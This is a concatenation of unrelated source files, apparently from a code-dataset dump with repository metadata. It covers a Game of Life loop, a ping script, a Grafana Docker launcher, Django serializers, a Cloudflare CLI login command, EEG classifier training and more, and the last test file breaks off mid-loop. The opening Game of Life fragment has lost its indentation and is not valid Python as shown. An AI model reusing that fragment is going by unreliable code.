numOfNeighbour = 0
existR = False
existL = False
existU = False
existD = False
existCUR = False
existCDR = False
existCUL = False
existCDL = False
if running == False:
if organism[0] > 1010 or organism[0] < 0 or organism[1] > 630 or organism[1] < 0:
populated.remove(organism)
for neighbour in populated:
if neighbour != organism:
if neighbour[0] == organism[0] + TILESIZE and neighbour[1] == organism[1]:
numOfNeighbour += 1
existR = True
elif neighbour[0] == organism[0] - TILESIZE and neighbour[1] == organism[1]:
numOfNeighbour += 1
existL = True
elif neighbour[1] == organism[1] + TILESIZE and neighbour[0] == organism[0]:
numOfNeighbour += 1
existD = True
elif neighbour[1] == organism[1] - TILESIZE and neighbour[0] == organism[0]:
numOfNeighbour += 1
existU = True
elif neighbour[0] == organism[0] + TILESIZE and neighbour[1] == organism[1] - TILESIZE:
numOfNeighbour += 1
existCUR = True
elif neighbour[0] == organism[0] + TILESIZE and neighbour[1] == organism[1] + TILESIZE:
numOfNeighbour += 1
existCDR = True
elif neighbour[0] == organism[0] - TILESIZE and neighbour[1] == organism[1] - TILESIZE:
numOfNeighbour += 1
existCUL = True
elif neighbour[0] == organism[0] - TILESIZE and neighbour[1] == organism[1] + TILESIZE:
numOfNeighbour += 1
existCDL = True
if existR == False:
location = [organism[0] + TILESIZE, organism[1]]
duplication()
if existL == False:
location = [organism[0] - TILESIZE, organism[1]]
duplication()
if existU == False:
location = [organism[0], organism[1] - TILESIZE]
duplication()
if existD == False:
location = [organism[0], organism[1] + TILESIZE]
duplication()
if existCUR == False:
location = [organism[0] + TILESIZE, organism[1] - TILESIZE]
duplication()
if existCDR == False:
location = [organism[0] + TILESIZE, organism[1] + TILESIZE]
duplication()
if existCUL == False:
location = [organism[0] - TILESIZE, organism[1] - TILESIZE]
duplication()
if existCDL == False:
location = [organism[0] - TILESIZE, organism[1] + TILESIZE]
duplication()
i += 1
if numOfNeighbour < 2 or numOfNeighbour > 3:
organism.append("die")
for empty in unpopulated:
numOfNeighbour = 0
for neighbour in populated:
if neighbour[0] == empty[0] + TILESIZE and neighbour[1] == empty[1]:
numOfNeighbour += 1
elif neighbour[0] == empty[0] - TILESIZE and neighbour[1] == empty[1]:
numOfNeighbour += 1
elif neighbour[1] == empty[1] + TILESIZE and neighbour[0] == empty[0]:
numOfNeighbour += 1
elif neighbour[1] == empty[1] - TILESIZE and neighbour[0] == empty[0]:
numOfNeighbour += 1
elif neighbour[0] == empty[0] + TILESIZE and neighbour[1] == empty[1] - TILESIZE:
numOfNeighbour += 1
elif neighbour[0] == empty[0] + TILESIZE and neighbour[1] == empty[1] + TILESIZE:
numOfNeighbour += 1
elif neighbour[0] == empty[0] - TILESIZE and neighbour[1] == empty[1] - TILESIZE:
numOfNeighbour += 1
elif neighbour[0] == empty[0] - TILESIZE and neighbour[1] == empty[1] + TILESIZE:
numOfNeighbour += 1
if numOfNeighbour != 3:
empty.append("empty")
born = []
for empty in unpopulated:
if len(empty) == 2:
born.append(empty)
survive = []
for organism in populated:
if len(organism) == 2:
survive.append(organism)
populated = survive + born
del unpopulated
del survive
del born
factory()
running = True
while running:
render()
rule()
clock.tick(FPS)
event()
populated.clear()
TILESIZE = 10
while simulation:
FPS = 60
while setup:
clock.tick(FPS)
render()
event()
FPS = remember
while start:
clock.tick(FPS)
remember = FPS
rule()
render()
event()
while screenshot:
render()
clock.tick(FPS)
event()
|
[
"noreply@github.com"
] |
1not.noreply@github.com
|
bdfa58fc5493cbdd1cbd7d54bc4d20ec5a7b2528
|
e23e174332b7978f8b0f122fa76ff036e71731de
|
/IBGEVisualizer/model/ListResourceModel.py
|
4bd61c39eefad117a266d3c0447fe8fe6df9ec85
|
[] |
no_license
|
IDEHCO3/qgis3-hyper-plugin
|
1fa209a49b609cdcee2d7e9d4738df3d9cfb85b9
|
a375fc04aee062f08626ec7a976ead094c4aa5a1
|
refs/heads/master
| 2020-07-07T14:21:58.294040
| 2019-09-18T17:27:34
| 2019-09-18T17:27:34
| 203,374,120
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 218
|
py
|
#coding: utf-8
from collections import OrderedDict
from IBGEVisualizer.Utils import Config
model = {
'IBGE-BCIM': 'http://172.30.137.117/api/bcim/',
'OSM Views': 'http://172.30.137.117/api/osm-2017-06/'
}
|
[
"andre.eds@ibge.gov.br"
] |
andre.eds@ibge.gov.br
|
c1c084ff36111231daf2760f6b4a79a77fd30ee5
|
6cf4dcbf4bff00c5a4f657e72f7756e46e620db9
|
/ping_domain.py
|
0e60269e5d5276fe81e11dc6d50f94d1099f2d5c
|
[] |
no_license
|
jamesmorgan/PythonScripts
|
68ad1cc244932487420ab6e9db29acc04677358c
|
26389d0a5560b1f91c5ba4dba7b38763410b35c2
|
refs/heads/master
| 2021-01-19T05:44:17.851455
| 2011-04-27T09:52:56
| 2011-04-27T09:52:56
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 372
|
py
|
#!/usr/bin/python
####################################
## Used to ping domains in python ##
####################################
import subprocess
host = "www.google.com"
ping = subprocess.Popen(
# Linux ["ping", "-c", "4", host],
["ping", "-n", "4", host],
stdout = subprocess.PIPE,
stderr = subprocess.PIPE
)
out, error = ping.communicate()
print out
|
[
"james.morgan@leadx.com"
] |
james.morgan@leadx.com
|
38698b3deb174381678bd196b76d35504867b883
|
d7604ab4a777ccda65afd86386a4d31c3b0f4b99
|
/00 Finals/2016/Ans/2016qn6.py
|
722a08b8d868bb39bfb4400f459374f37be0aee3
|
[] |
no_license
|
justiniansiah/10.009-Digital-Word
|
b955726c064f7feadedb7a7665a667211b28808b
|
4b811637716903271a58538636674d7fce3e4af7
|
refs/heads/master
| 2020-05-15T13:04:03.671641
| 2019-04-19T15:45:22
| 2019-04-19T15:45:22
| 182,285,435
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,196
|
py
|
import copy
class Map:
def __init__(self, world):
self.world = copy.deepcopy(world)
def whatIsAt(self, position):
if position not in self.world.keys():
return 'Empty'
elif self.world[position] == 0:
return 'Wall'
elif self.world[position] == 'x':
return 'Exit'
elif self.world[position] > 0:
return 'Food'
elif self.world[position] < 0:
return 'Enemy'
def getEnemyAttack(self, position):
if self.whatIsAt(position) == 'Enemy':
return self.world[position]
return False
def getFoodEnergy(self, position):
if self.whatIsAt(position) == 'Food':
return self.world[position]
return False
def removeEnemy(self, position):
if self.whatIsAt(position) == 'Enemy':
del self.world[position]
return True
return False
def eatFood(self, position):
if self.whatIsAt(position) == 'Food':
del self.world[position]
return True
return False
def getExitPosition(self):
for k, v in self.world.iteritems():
if v == 'x':
return k
world={(0,0):0, (1,0):0 , (2,0):0, (3,0): 0, (4,0):0, (5,0): 0, (0,1):0, (1,1): 2, (2,1):-3, (5,1): 0, (0,2):0, (5,2): 0, (0,3):0, (5,3): 0, (0,4):0, (5,4): 0, (0,5):0, (1,5):0 , (2,5):0, (3,5): 0, (4,5):'x', (5,5): 0}
print 'test 1: object instantiation'
m=Map(world)
print m.world
print 'test 2: whatIsAt'
print m.whatIsAt((1,0))
print 'test 3: whatIsAt'
print m.whatIsAt((2,1))
print 'test 4: whatIsAt'
print m.whatIsAt((1,1))
print 'test 5: getFoodEnergy'
w1=m.getFoodEnergy((1,1))
w2=m.getFoodEnergy((3,3))
print (w1,w2)
print 'test 6: getEnemyAttack'
w1=m.getEnemyAttack((2,1))
w2=m.getEnemyAttack((3,3))
print (w1,w2)
print 'test 7: removeEnemy'
w1=m.getEnemyAttack((2,1))
w2=m.removeEnemy((2,1))
w3=m.getEnemyAttack((2,1))
print (w1,w2,w3)
print 'test 8: whatIsAt'
print m.whatIsAt((1,4))
print 'test 9: getFoodEnergy'
print m.getFoodEnergy((1,4))
print 'test 10: getEnemyAttack'
print m.getEnemyAttack((1,4))
print 'test 11: whatIsAt'
print m.whatIsAt((4,5))
print 'test 12: getExitPosition'
print m.getExitPosition()
print 'test 13: eatFood'
w1=m.whatIsAt((1,1))
w2=m.eatFood((1,1))
w3=m.whatIsAt((1,1))
print (w1,w2,w3)
print 'test 14: test aliasing'
print m.world == world
|
[
"justinian_siah@mymail.sutd.edu.sg"
] |
justinian_siah@mymail.sutd.edu.sg
|
05109a3fa7bb65467f0e23d5c6063a13dd3a8950
|
9ae0cf807bc0f0769342fdcadcc47a0558f67704
|
/venv/bin/twist
|
cbff9ace7ffccb37966a3b432532604aa35a22a6
|
[] |
no_license
|
Dexhub/Partner-search
|
d51ae6071640d829ad7432acad336679870e2766
|
44d850a2aaaf32a2603e5594de046e25c5a87df4
|
refs/heads/master
| 2021-01-12T09:21:41.475806
| 2016-12-11T03:09:18
| 2016-12-11T03:09:18
| 76,150,628
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 303
|
#!/Users/Himanshu/Desktop/Code-repo/Personal/scrapper-matrimony/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from twisted.application.twist._twist import Twist
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(Twist.main())
|
[
"Himanshu1410@live.com"
] |
Himanshu1410@live.com
|
|
a1f230047a9f7039bd3003ca48b2315d42a78681
|
60ba5cc2f817471dd0ff84a15996b46b1dbfa6ba
|
/park/envs/circuit/simulator/circuit/transimpedance/__init__.py
|
31e7ad09f894d74f069e93f27ddf6aaae76fc96b
|
[
"MIT"
] |
permissive
|
park-project/park
|
dd15d27e5859fe421c878a90627716623892b6f9
|
08f8f7f0dea14e011af2d5ce2a72410084eb8713
|
refs/heads/master
| 2023-06-28T11:38:30.359938
| 2022-04-07T14:42:21
| 2022-04-07T14:42:21
| 184,142,889
| 216
| 55
|
MIT
| 2023-06-14T16:10:38
| 2019-04-29T20:55:25
|
Python
|
UTF-8
|
Python
| false
| false
| 44
|
py
|
from .three_stage import *
del three_stage
|
[
"kipsora@gmail.com"
] |
kipsora@gmail.com
|
e57ea56ce1e9f30a52a0f2911fb5a089bd661853
|
e2bd7234589ba8e4b33ef3f7f2b56141f7ea199e
|
/Codes_Jellybean/floodfill.py
|
6b314a8a9439b4747f9176186723f4a5fa3506f4
|
[] |
no_license
|
srvanderplas/jellybean
|
53e1dd82d00d1bf466b70f5c3ac71b884d1459e1
|
66803096c28fde90e768eeca1bfeddc3716f1858
|
refs/heads/master
| 2020-11-30T02:38:10.370524
| 2020-03-23T22:53:44
| 2020-03-23T22:53:44
| 230,277,852
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,451
|
py
|
# load the requisite libraries
import cv2
import numpy as np
from matplotlib import pyplot as plt
from scipy import ndimage
from skimage import measure, color, io
import numpy as np
# read in the image, convert to float
img = cv2.imread(r"D:\Jellybean\data\7UP(R).png")/255.0
# read in the mask, convert to float
mask = cv2.imread(r"D:\Jellybean\inst\JellyBellyMask.png",0)/255.0
# see the mask?
cv2.imshow('mask', mask)
cv2.waitKey(0)
cv2.destroyAllWindows()
# erode the mask as in the R code?
# get the strucuting element?
kern = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(31,31))
erosion = cv2.erode(mask,kern,iterations = 1)
# see the eroded mask
cv2.imshow('mask', erosion)
cv2.waitKey(0)
cv2.destroyAllWindows()
#find where the pixels are black in the mask
mask3 = (erosion == 0)
# convert the black pixels to white
img[mask3,:] =1
# CIE 1931 luminance grayscale conversion
img = img[:,:,0]*0.0722 + img[:,:,1]*0.7152 + img[:,:,2]*0.2126
# change to uint8? - the thresholding functions only deals with unit8
img = cv2.convertScaleAbs(img*255)
# adaptive thresholding
th2 = cv2.adaptiveThreshold(img,255,cv2.ADAPTIVE_THRESH_MEAN_C,\
cv2.THRESH_BINARY_INV,61,0.00001*255)
# invert the image
th2 = 255 - th2
# convert back to float
th2 = th2/255.0
# multiply the image by the eroded mask
img = th2*erosion
# Copy the thresholded image.
im_floodfill = cv2.convertScaleAbs(img.copy()*255)
# Mask used to flood filling.
# Notice the size needs to be 2 pixels than the image.
h, w = img.shape[:2]
mask = np.zeros((h+2, w+2), np.uint8)
# Floodfill from point (0, 0)
cv2.floodFill(im_floodfill, mask, (0,0), 255);
# Invert floodfilled image
im_floodfill_inv = cv2.bitwise_not(im_floodfill)
# Combine the two images to get the foreground.
im_out = cv2.convertScaleAbs(img.copy()*255) | im_floodfill_inv
# do the connected components that gives colors to the beans,
# seems to capture three distinct beans
s = [[1,1,1],[1,1,1],[1,1,1]]
#label_im, nb_labels = ndimage.label(mask)
labeled_mask, num_labels = ndimage.label(im_out, structure=s)
#The function outputs a new image that contains a different integer label
#for each object, and also the number of objects found.
#Let's color the labels to see the effect
img2 = color.label2rgb(labeled_mask, bg_label=0)
cv2.imshow('mask', img2)
cv2.waitKey(0)
cv2.destroyAllWindows()
|
[
"noreply@github.com"
] |
srvanderplas.noreply@github.com
|
3b393e9e85da526c558348e127109c87d91f67b4
|
15f321878face2af9317363c5f6de1e5ddd9b749
|
/solutions_python/Problem_35/155.py
|
239e923d2fed9e0249e83ec49641ba1080007d52
|
[] |
no_license
|
dr-dos-ok/Code_Jam_Webscraper
|
c06fd59870842664cd79c41eb460a09553e1c80a
|
26a35bf114a3aa30fc4c677ef069d95f41665cc0
|
refs/heads/master
| 2020-04-06T08:17:40.938460
| 2018-10-14T10:12:47
| 2018-10-14T10:12:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,400
|
py
|
dxy = ((0, -1), (-1, 0), (1, 0), (0, 1))
m = dim = []
def minel(x, y):
minval, minx, miny = m[y][x], x, y
for u, v in dxy:
newx, newy = (x + u), (y + v)
if newx >= 0 and newx < dim[1] and newy >= 0 and newy < dim[0] and m[newy][newx] < minval:
minval, minx, miny = m[newy][newx], newx, newy
return (minx, miny)
file = open("B-large.in")
T = int(file.next())
for i in range(T):
dim = [int(s) for s in file.next().split(' ')]
m = [[] for j in range(dim[0])]
for j in range(dim[0]):
nums = file.next().split(' ')
for k in nums:
m[j].append(int(k))
a = [['' for k in range(dim[1])] for j in range(dim[0])]
c = 'a'
for j in range(dim[0]):
for k in range(dim[1]):
x, y = k, j
while True:
(minx, miny) = minel(x, y)
if a[miny][minx] != '' or (minx, miny) == (x, y):
x, y = minx, miny
break
x, y = minx, miny
a[j][k] = a[y][x]
if a[j][k] == '':
a[j][k] = c
c = chr(ord(c) + 1)
r, t = k, j
while (r, t) != (x, y):
(r, t) = minel(r, t)
a[t][r] = a[j][k]
print "Case #%i:" % (i + 1)
for j in range(dim[0]):
print ' '.join([a[j][k] for k in range(dim[1])])
file.close()
|
[
"miliar1732@gmail.com"
] |
miliar1732@gmail.com
|
106051fc71956ed94f8493cf13880863465c3cff
|
1495a171d3341f3fc5df004000d028e21dc8b522
|
/src/tf_components/bijector/Coupling.py
|
8e8e66b28e0402f7f5201def416b6a758f4f69f5
|
[
"MIT"
] |
permissive
|
YorkUCVIL/Wavelet-Flow
|
54b2a08f7a5656ec86fbbf08c5e6ce7c21d8e076
|
8d6d63fa116ec44299c32f37e66817594510f644
|
refs/heads/master
| 2023-05-03T13:23:04.591823
| 2021-05-21T20:15:33
| 2021-05-21T20:15:33
| 294,146,582
| 62
| 3
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,748
|
py
|
import tensorflow as tf
from util import *
from tf_components.bijector.Bijector import *
from tf_components.bijector.Act_norm import *
from tf_components.openai_conv import Openai_conv
from tf_components.openai_zero_conv import *
class Coupling_res_block(Layer):
def __init__(self,k_size,width,edge_bias,
dtype=tf.float32,collection=None,name="coupling_res_block"):
# setup naming and scoping
super().__init__(collection=collection,name=name)
self.conv1 = Openai_conv(k_size,width,1,edge_bias=edge_bias)
self.conv2 = Openai_conv(1,width,1,edge_bias=edge_bias,activation='none')
def __call__(self,x,init=False):
with tf.variable_scope(self.scope):
conv1 = self.conv1(x,init=init)
conv2 = self.conv2(conv1,init=init)
conv2 = tf.nn.relu(x+conv2)
return conv2
def get_variables(self,filter=None):
vars = []
vars += self.conv1.get_variables()
vars += self.conv2.get_variables()
return vars
class Coupling(Bijector):
def __init__(self,
k,
width,
edge_bias,
conditional=False,
collection=None, name='coupling'):
super().__init__(collection=None, name=name)
self.conditional = conditional
self.k = k
self.width = width # config.model.conv_width
self.split_scheme = 'channel'
self.edge_bias = edge_bias
n_res_blocks = config.model.n_res_blocks
with tf.variable_scope(self.scope):
self.conv_in = Openai_conv(1,self.width,1,edge_bias=self.edge_bias)
self.res_blocks = []
for n in range(n_res_blocks):
self.res_blocks.append(Coupling_res_block(self.k,self.width,self.edge_bias))
self.conv_out = None
def st(self,x,out_size,init=False,conditioning=None):
assert (self.conditional) == (conditioning is not None), 'Coupling must have conditioning tensor on forward when set as conditional'
x_shape = x.get_shape()
c = x_shape[3].value
out_size2 = out_size*2
with tf.variable_scope(self.scope):
# must create here because is data dependent
if self.conv_out is None:
self.conv_out = Openai_zero_conv(self.k,out_size2,1,edge_bias=self.edge_bias)
with tf.variable_scope(None,default_name='scale_translate') as scope:
network_input = tf.concat([x,self.adapt_conditioning(conditioning)],axis=-1) if self.conditional else x
conv_in = self.conv_in(network_input,init=init)
res = conv_in
for block in self.res_blocks:
res = block(res,init=init)
conv_out = self.conv_out(res)
s = conv_out[:,:,:,:out_size]
t = conv_out[:,:,:,out_size:]
return s,t
def forward(self,x,init=False,conditioning=None):
with tf.variable_scope(None,default_name=self.name+'_forward'):
# split input along channels
x1,x2 = self.split_features(x)
x2_c = x2.get_shape()[3]
# neural network of t,s
s,t = self.st(x1,out_size=x2_c,init=init,conditioning=conditioning)
# compute ys
y1 = x1
tanh = tf.tanh(s)
scale = tf.exp(tanh)
y2 = (x2 + t) * scale
# recombine y values
y = self.concat_features(y1,y2)
# ldj
log_scale = tanh
ldj = tf.reduce_sum(log_scale,axis=[1,2,3])
# check numerics
if config.debug.check_numerics:
y = tf.debugging.check_numerics(y,'bad_numerics')
ldj = tf.debugging.check_numerics(ldj,'bad_numerics')
return y,ldj
def inverse(self,y,conditioning=None):
with tf.variable_scope(None,default_name=self.name+'_inverse'):
# split input along channels
y1,y2 = self.split_features(y)
y2_c = y2.get_shape()[3]
# neural network of t,s
s,t = self.st(y1,out_size=y2_c,conditioning=conditioning)
# compute ys
x1 = y1
tanh = tf.tanh(s)
scale_inv = tf.exp(-tanh)
x2 = y2*scale_inv - t
# recombine y values
x = self.concat_features(x1,x2)
# ldj
log_scale = tanh
ldj = -tf.reduce_sum(log_scale,axis=[1,2,3])
return x,ldj
def adapt_conditioning(self,conditioning):
if self.split_scheme == 'channel':
cond = conditioning
else:
assert False, 'unknown split scheme: {}'.format(self.split_scheme)
return cond
def split_features(self,x):
x_shape = x.get_shape()
h = x_shape[1].value
w = x_shape[2].value
c = x_shape[3].value
if self.split_scheme == 'channel':
channel_center = c//2
x1 = x[:,:,:,:channel_center]
x2 = x[:,:,:,channel_center:]
else:
assert False, 'unknown split scheme: {}'.format(self.split_scheme)
return x1,x2
def concat_features(self,x1,x2):
x1_shape = x1.get_shape()
x2_shape = x2.get_shape()
if self.split_scheme == 'channel':
x = tf.concat([x1,x2],axis=3)
else:
assert False, 'unknown split scheme: {}'.format(self.split_scheme)
return x
def get_variables(self, filter=None):
vars = []
vars += self.conv_in.get_variables()
for block in self.res_blocks:
vars += block.get_variables()
vars += self.conv_out.get_variables()
return vars
|
[
"jjyu@eecs.yorku.ca"
] |
jjyu@eecs.yorku.ca
|
12795f9911820ddc919fdd49162f0cd307a81a68
|
b358b5fdecdd0f0cfb4531a5a508d4e2ec3c25e7
|
/chaos-orca/monitoring/grafana.py
|
d2a52e5e3148d66d60617ba40985f12c774a3cfd
|
[] |
no_license
|
adriannovegil/my-chaosorca
|
3d730cee003d15eef6bed106b5815bec15b25902
|
e3eab17334ef9a4d46cb42e4ca5c4f5c58d15ca1
|
refs/heads/master
| 2021-09-11T07:20:46.009314
| 2021-09-07T16:34:32
| 2021-09-07T16:34:32
| 228,900,033
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,726
|
py
|
import os
# Package import
import docker
# Local import
import config
from misc import common_helpers as common
#import monitoring.prometheus_targets as monitoring_targets
docker_client = docker.from_env()
dir_name = os.path.dirname(os.path.abspath(__file__))
grafana_name = '%s.grafana' % config.BASE_NAME
def start():
'''Starts grafana container'''
grafana = docker_client.containers.run(
'grafana/grafana:latest',
detach=True,
name=grafana_name,
ports={'3000': config.GRAFANA_PORT}, # <inside-port>:<outside-port>
#publish= No need to publish ports, as it will later share a network with Prometheus.
environment=['GF_SECURITY_ADMIN_PASSWORD='+config.GF_SECURITY_ADMIN_PASSWORD, 'GF_USERS_ALLOW_SIGN_UP='+config.GF_USERS_ALLOW_SIGN_UP],
remove=True,
volumes={
'grafana_data': {'bind': '/var/lib/grafana', 'mode': 'rw'},
dir_name+'/grafana/provisioning': {'bind':'/etc/grafana/provisioning/', 'mode': 'rw'}
}
)
# Connect grafana to prometheus network.
docker_client.networks.get(config.MONITORING_NETWORK_NAME).connect(grafana)
grafana.reload()
ip = common.getIpFromContainerAttachedNetwork(grafana, config.MONITORING_NETWORK_NAME)
# monitoring_targets.add('%s:8080' % ip, 'grafana')
print('Created grafana instance')
def getContainer():
'''Returns the running container else None.'''
try:
return docker_client.containers.get(grafana_name)
except Exception:
return None
def stop():
'''Stops grafana'''
container = getContainer()
if container is not None:
container.stop()
# monitoring_targets.remove('grafana')
print('Stopped grafana')
|
[
"adrian.novegil@gmail.com"
] |
adrian.novegil@gmail.com
|
31d819ede6fc04ab3723fae34a385e10b1bd5da9
|
2e492f08fa0adb15418fb0d087ce8100d0d15d54
|
/project_contributors/login/serializers.py
|
0ee3855bef1e08c39ca56571fc44a6153c031126
|
[] |
no_license
|
dimosd/Project-Contributors
|
5f0b9406df7e49cf50c45c0682feb7feaaf16a68
|
9863fdf958f580a50644cdee76822622e071442a
|
refs/heads/main
| 2023-09-02T13:13:01.763596
| 2021-11-22T20:18:49
| 2021-11-22T20:18:49
| 430,838,905
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,694
|
py
|
from users.models import User
from rest_framework import serializers
from django.core.exceptions import ValidationError
from rest_framework.validators import UniqueValidator
from django.core.validators import MaxValueValidator, MinValueValidator
class UserSerializer(serializers.ModelSerializer):
email = serializers.EmailField(
validators=[UniqueValidator(queryset=User.objects.all())]
)
username = serializers.CharField(
validators=[UniqueValidator(queryset=User.objects.all())]
)
password = serializers.CharField()
age = serializers.IntegerField(
validators=[
MaxValueValidator(100),
MinValueValidator(1)
])
first_name = serializers.CharField()
last_name = serializers.CharField()
country = serializers.CharField()
residence = serializers.CharField()
class Meta:
model = User
fields = (
'username',
'email',
'password',
'age',
'first_name',
'last_name',
'country',
'residence'
)
class UserLoginSerializer(serializers.ModelSerializer):
username = serializers.CharField()
password = serializers.CharField()
class Meta:
model = User
fields = (
'username',
'password',
)
class ResetSerializer(serializers.ModelSerializer):
username = serializers.CharField()
old_password = serializers.CharField()
new_password = serializers.CharField()
class Meta:
model = User
fields = (
'username',
'old_password',
'new_password',
)
|
[
"dimosthenisd@projectagora.com"
] |
dimosthenisd@projectagora.com
|
0d48ef377e6f2accedc4cb491619da45670f3722
|
4694a0d4a16d792d6ea9507b0f5f527631bfbc1a
|
/cf/cli/command_groups/user.py
|
42cc08fba510763b22b0e5ff841e23a28e07d5ce
|
[
"MIT"
] |
permissive
|
doublevcodes/cf-cli
|
080162d4719d11411bdde569ad6db996df97b3ad
|
7e69b7189f9f51a13cda10a19cdee5440533b90f
|
refs/heads/main
| 2023-07-18T02:56:18.869429
| 2021-09-02T21:38:28
| 2021-09-02T21:38:28
| 402,380,022
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,320
|
py
|
import typer
from textwrap import dedent
from pathlib import Path
import orjson
from cf.backend.endpoints.user import get_user_info
from cf.backend.endpoints.token import verify
user = typer.Typer()
@user.command("login")
def user_login():
access_token = typer.prompt(typer.style("Input thy access token which beholds the permissions thee grants Cloudflare CLI 🌍 ", fg="blue"), hide_input=True)
confirm = typer.confirm(typer.style(f"Are thee willin' to proceed with this here token: {typer.style(f'{access_token[:8]}...', fg='red')} ✅ ", fg="green"))
if confirm:
typer.secho(f"Making useth of access token {typer.style(f'{access_token[:8]}...', fg='red')} 😁 ", fg="yellow")
cache = Path(typer.get_app_dir("Cloudflare CLI")) / ".cache.json"
with open(cache, 'r') as cache_file:
if cache_file.read() != "":
cache_file.seek(0)
cache_content = orjson.loads(cache_file.read())
else:
cache_content = {}
if not cache_content.get("token", False):
if verify(access_token)['success']:
with open(cache, 'wb') as cache_file:
cache_content['token'] = access_token
cache_file.write(orjson.dumps(dict(cache_content)))
typer.secho(f"Successfully did check thy token {typer.style(f'{access_token[:8]}...', fg='red')} ✅ ", fg="green")
typer.secho("Cloudflare CLI bids thee farewell 👋 ", fg="bright_yellow")
else:
typer.secho(f"Thy token ({f'{access_token[:8]}...'}) seemeth not to be valid 🚫 ", fg="red")
raise typer.Exit()
else:
tok = cache_content["token"]
replace = typer.confirm(typer.style(
f"Wouldst thee liketh to replaceth thy existing token ("
f"{typer.style(f'{tok[:8]}...', fg='red')}) with "
f"token {typer.style(f'{access_token[:8]}...', fg='red')}? 🔍 ",
fg="green"))
if replace:
if verify(access_token)['success']:
with open(cache, 'wb') as cache_file:
cache_content['token'] = access_token
cache_file.write(orjson.dumps(dict(cache_content)))
typer.secho(f"Successfully did check thy token {typer.style(f'{access_token[:8]}...', fg='red')} ✅ ", fg="green")
typer.secho("Cloudflare CLI bids thee farewell 👋 ", fg="bright_yellow")
else:
typer.secho(f"Thy token ({f'{access_token[:8]}...'}) seemeth not to be valid 🚫 ", fg="red")
raise typer.Exit()
else:
typer.secho("Haply anoth'r day 👋 ", fg="orange")
raise typer.Exit()
else:
typer.secho("Haply anoth'r day 👋 ", fg="bright_yellow")
raise typer.Exit()
@user.command("info")
def user_info():
info = get_user_info()
if info:
typer.secho("Cloudflare hast the following information regarding thee 📚:", fg="green", underline=True)
for k, v in info.dict().items():
typer.echo(f"{typer.style(k.replace('_', ' ').title(), fg='blue')}: {typer.style(v, fg=('cyan' if v is not None else 'red'))}")
|
[
"vivaan.verma@gmail.com"
] |
vivaan.verma@gmail.com
|
ec9f3b3dd3169b74875c405a34021d8357e31cb8
|
3713ebbc2db56f74f9e713e0f605fe942fd0e32f
|
/training_P300_speller/sub_bands/sub_bands_ch14_HHT.py
|
0642ed3c346c705ba4376542b16927d45d7a838b
|
[] |
no_license
|
dahaiyu/Subject_Identification_EEG
|
c64a147174fbe8e4b9a63001e5c0f6edf5814bf1
|
e2c3d443d6f635a8354b3644ab2a0c4b36523160
|
refs/heads/master
| 2020-11-27T07:52:21.529988
| 2019-12-13T22:21:42
| 2019-12-13T22:21:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,893
|
py
|
from temp.dataset_P300 import get_subdataset, get_samples
from temp.features import get_features_sub_bands
from temp.preprocessing import preprocessing_P300
from temp.classefiers import selector
import pickle
import logging
import warnings
warnings.filterwarnings("ignore")
logging.basicConfig(filename='EMD3_P300_ch14_HHT.log',
level=logging.INFO,
format='%(asctime)s %(levelname)-8s %(message)s')
def main():
logging.info(" ***** EMD3, CHANNELS:14, FEATURES: HHT ***** \n")
INSTANCES = [10, 20, 40, 60]
sr = 200
ch = [4, 5, 7, 9, 13, 15, 17, 23, 25, 33, 43, 51, 55, 56]
for ins in INSTANCES:
logging.info(" -------- Instance: {0} --------".format(ins))
ch_fs_instances = []
ch_tags_instances = []
for subject in range(1, 27): # 26
for session in range(1, 5): # 4
s_s_chs = get_subdataset(subject, session)
_index = [i + 1 for i, d in enumerate(s_s_chs[:, -1]) if d == 1]
instances = get_samples(_index, s_s_chs, sr)
for f_instance in range(0, ins):
instance = preprocessing_P300(instances, f_instance, sr, ch)
ch_fs_instances.append(get_features_sub_bands(instance, sr)) # CHANNELS: 8
ch_tags_instances.append('subject_{0}'.format(subject))
dataset = {"data": ch_fs_instances, "target": ch_tags_instances}
dataTraining = dataset['data']
targetTraining = dataset['target']
result = selector(dataTraining, targetTraining)
logging.info("Best classifier {0} with accuracy {1} \n".format(result['classifier'], result['accuracy']))
# saving the model
model_name = 'EMD3_P300_ch14_HHT_ins%02d.sav' % ins
pickle.dump(result["model"], open(model_name, 'wb'))
if __name__ == '__main__':
main()
|
[
"shobihap@stud.ntnu.no"
] |
shobihap@stud.ntnu.no
|
617df8a8f25c5ebc321c824bba738497597e3599
|
752c9787bd1d96739294cb6fb05f97dcb904af46
|
/tests/test_sat_adapters.py
|
a6d9dbe3bd00e55cf1adb0c3939793ef2fdacf67
|
[] |
no_license
|
Anton495/peano-1
|
93b73662f44bf9365d4a1355284afa58844e76ec
|
2321d60a2a98a25007c81274a7b858304cb5e574
|
refs/heads/master
| 2023-02-13T18:42:44.035499
| 2021-01-10T22:27:45
| 2021-01-10T22:27:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,236
|
py
|
import unittest
from peano.sat_adapters import CurveSATAdapter
from .examples import * # TODO get rid of *
def get_model_from_curve(adapter, curve):
for pnum, cnum, sp in curve.gen_defined_specs():
sp_var = adapter.get_sp_var(pnum, cnum, sp)
adapter.append_clause({sp_var: True})
if not adapter.solve():
raise Exception("Can't get model, no such curve!")
return adapter.get_model()
class TestSAT(unittest.TestCase):
def setUp(self):
self.curves = [
get_peano_curve().forget(),
get_meurthe_curve().forget(),
]
def test_sat(self):
for pcurve in self.curves:
for curve in pcurve.gen_possible_curves():
adapter = CurveSATAdapter(dim=pcurve.dim)
adapter.init_curve(pcurve)
model = get_model_from_curve(adapter, curve)
juncs = list(curve.gen_regular_junctions())
for junc in juncs:
junc_var = adapter.get_junc_var(junc)
